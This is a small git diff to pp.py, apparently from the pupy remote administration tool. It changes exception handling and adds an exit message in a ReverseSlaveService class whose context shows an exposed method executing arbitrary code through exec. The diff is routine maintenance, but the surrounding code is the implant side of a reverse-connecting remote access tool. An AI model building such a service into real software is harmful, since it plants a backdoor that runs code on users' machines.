diff --git a/pupy/pp.py b/pupy/pp.py index 659df80a..90a89b47 100755 --- a/pupy/pp.py +++ b/pupy/pp.py @@ -106,8 +106,9 @@ class ReverseSlaveService(Service): self._conn.close() except: pass - raise KeyboardInterrupt + raise def exposed_exit(self): + print "exiting ..." raise SystemExit def exposed_execute(self, text): """execute arbitrary code (using ``exec``)"""